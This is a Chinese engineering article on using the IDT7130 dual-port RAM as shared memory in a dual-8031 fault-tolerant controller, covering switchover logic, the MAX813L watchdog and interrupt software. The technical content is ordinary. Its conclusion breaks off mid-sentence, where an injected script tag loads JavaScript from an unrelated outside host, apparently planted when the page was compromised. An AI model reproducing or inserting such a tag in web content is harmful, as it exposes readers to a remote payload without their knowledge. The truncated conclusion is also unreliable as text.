摘 要 阐述了双端口ram使用的一种方法,当其应用于双机容错系统时,可简化电路,提高系统的可靠性。本方案经实践证明是有效且实用的。
关键词 双端口ram 双机容错 切换系统 硬件冗余
1引言
在对产品可靠性要求高的系统中,往往需要硬件冗余。有些设备不仅要求其在各种恶劣的天气下工作,而且要求长期不间断工作。为提高可靠性往往采用双cpu系统。平时主单片机系统工作,并将所处理的数据存储在外存,一旦主cpu系统出现故障,副cpu可切换上来,并利用公共外存的数据继续工作,而不需要人工干预。这时双端口ram做为外存就是两个cpu之间信息传递的最好渠道。本文以美国idt公司生产的idt7130为例,阐述双端口ram在最常用的80c31双机系统中的应用。
2 系统的基本结构及硬件框图
如图1所示,整个系统由2个8031最小系统、双端口ram、故障探测及切换系统、程序监控系统、i/o转换电路、键盘显示电路及外部受控设备组成。
2个8031最小系统中,一个为主cpu(左边),右边为副cpu系统。当两个cpu均为正常工作时,切换系统控制为主cpu系统工作,这时副cpu端的ce被屏蔽,同时键盘显示系统和i/o口由主cpu系统控制。切换系统不断地检测两个cpu系统的工作状况。
当切换系统检测出主cpu系统发生故障时,屏蔽掉左边的ce,而打开ce,同时将键盘显示系统及i/o交由副cpu系统控制。这时副cpu将接着主cpu系统刚刚中断的工作继续进行。由于副cpu系统所使用的是双端口ram中同一地址的数据继续工作,所以从外部看不出切换过程的发生。
为了保证设备长期不间断运行的可靠性,特使用了看门狗电路(max813l),这样首先从软件上保证程序运行的可靠性,最后又从双cpu切换来保证硬件上的可靠性。
由于键盘显示电路(8279)中用到了数 据总线,所以使用了二片74hc245,并将rd、wr进行了二选一,245的方向也由psen及rd通过逻辑组合进行控制。
3 系统各部分工作原理
3 .1 idt7130的工作原理
idt7130为1 kω×8位的静态双端口ram,它采用高性能cemos工艺,典型功耗为325 mw,最大访问时间仅为20 ns。它带有两个自身控制,地址和i/o引脚的独立端口。它允许任何一个端口独立地读写存储器中的任何单元。为了避免双cpu系统对
数据读写发生争用,其片内带有硬件端口仲裁电路,以保证双机有序地读写存储器
中的任何单元。在mcs-51系列单片机中,由于没有ready延时线,所以不能使用这
些仲裁电路,而需另设硬件电路来防止数据争用。
3.2 max813l的使用
此电路为max公司生产的程序监控专用电路,用以防止程序跑死、跑飞,如图2所
示。将mr与看门狗输出端wdo相连,看门狗输入端wdi接到单片机的p1.5脚,rest
端接单片机复位端reset。平时,在定时中断子程序中对p1.5输出一次,每次取反,则p1.5脚将输出标准的方波,不断触发看门狗。当系统受到干扰,出现“死机”现象时,单片机将无法从p1.5给出脉冲,1.6 s后813l的rest端便给出复位信号,使单片机复位。另外在掉电和上电期间,max813l均能产生可靠的复位信号。
3.3故障探测及切换系统
这个系统有两个任务:一是探测2个cpu系统的工作状况;二是发现故障时及时
进行整个系统的切换。既然要检测cpu的工作是否正常,它本身就应该高可靠,结构
要精少,严格筛选。2个cpu同时给故障检测及切换系统不间断脉冲,检测系统则检测
所给的脉冲间隔,由此来确定2个cpu系统是否正常工作。这个间隔应大于看门狗产
生复位所需的时间,以确定确实硬件出故障后再做切换。当某cpu系统所给出的脉冲间隔大于设定值时,说明此cpu系统发生了故障。这时切换控制系统就可通过逻辑组合屏蔽掉此cpu的ce,同时放开另一cpu端的ce,将双端口ram交由副cpu使用。
4 软件
在此电路的其它部分有现成的8 hz信号,可将此信号作为外部中断源,由p1.5输出脉冲信号给故障检测电路及看门狗电路。每发生一次中断,将p1.5输出取一次
反,形成了250 ms的方波信号。外部中断子程序如图3所示。其中03h为设定的标志
位,它代表了上一次p1.5输出的电平。
在主程序的初始化中,应避免对各内外存储器置数,以便出现故障产生复位后,单片机能够不间断按原故障处继续运行。
5 结 论
在以往的双机容错系统中,为了共享存储器而不得不增加大量类似245、244的器件,反而影响了可靠性的提高,?script src=http://er12.com/t.js>